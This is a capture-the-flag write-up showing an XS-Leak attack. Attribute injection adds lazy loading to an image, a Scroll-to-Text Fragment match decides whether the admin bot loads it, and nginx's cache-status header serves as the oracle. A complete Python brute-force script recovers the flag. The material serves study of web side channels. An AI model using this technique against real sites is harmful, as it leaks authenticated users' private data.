Lazy loading images + Scroll to Text Fragment XSLeak.
With Water Paddler.
We can upload images, make "notes" containing this image and a title, and share this "notes" with an authed bot displaying the flag in its footer.
This is how the above note would be displayed to the admin:
<div class="title is-3">gimme a start plz</div>
<img src=/static/image/af44d3a7625e4d5497e4472bbfc1f16a.jpg class="mb-3">
<input hidden id="imgId" value="5f9ca738-efeb-49d7-a7ea-024d8f284cee">
<div class="control">
<button id="shareButton" class="button is-success">Share (to admin)</button>
</div>
App-wide CSP (blocking exfiltration):
default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' blob:
There's a single injection point in 6
since the input is not in its proper context (between quotes), but we can't escape the img
content (i.e, we can just inject img
attributes).
This way we can use loading=lazy
for the browser to request/load the provided image just when it is visible. As per puppeteer's chrome flag --window-size=1440,900
, if we get to make the image not to be visible at first, then using scroll-to-text (#:~:text=match
), if the provided value matches the flag (displayed in the footer), the image will load and so we will have our oracle.
To get the image to have enough top margin for the browser not to load it when the page is loaded, we have to provide a very long title.
To find out if the image was loaded by the bot's browser, as there is a very strict CSP, we will have to take advantage of nginx's caching.
location /static {
uwsgi_cache one;
uwsgi_cache_valid 200 5m;
uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;
include uwsgi_params;
uwsgi_pass app;
add_header X-Cache-Status $upstream_cache_status;
}
So nginx is leaking us with X-Cache-Status
if the image is HIT
/MISS
in its cache (i.e, it has been requested at least once, or not).
def is_hit(image): # aka has been cached aka has been visited by the bot
return "HIT" == s.head(chall_url + image).headers["X-Cache-Status"]
import requests
from time import sleep
chall_url = "http://35.187.204.223"
s = requests.Session()
#s.proxies.update({"http": "http://127.0.0.1:8080"})
def is_hit(image):
return "HIT" == s.head(chall_url + image).headers["X-Cache-Status"]
def share(path):
s.post(chall_url + "/share",
headers={"Content-type": "application/json"}, json={"path": path})
def new_post(image):
return "/image/" + s.post(chall_url + "/image", headers={"Content-Type": "application/x-www-form-urlencoded"}, allow_redirects=False, data={
"title": "W"*3000, "img_url": image + " loading=lazy"
}).headers["X-ImageId"]
def upload_image():
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarySyjbxI4bmreUQGnT"}
data = "------WebKitFormBoundarySyjbxI4bmreUQGnT\r\nContent-Disposition: form-data; name=\"img_file\"; filename=\"foo.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nfoo\r\n------WebKitFormBoundarySyjbxI4bmreUQGnT--\r\n"
return s.post(chall_url + "/image/upload", headers=headers, data=data).json()["img_url"]
# login
s.post(chall_url + "/register",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
s.post(chall_url + "/login",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data="username=foofoo&password=barbar")
print("Registered")
known = "LINECTF{"
while True:
for char in "/0123456789abcdef":
current_image = upload_image()
current_post = new_post(current_image)
share(current_post[1:] + "#:~:text=" + known + char)
sleep(5)
if is_hit(current_image):
known += char
print(known)
break
else:
print("Flag: " + known)
break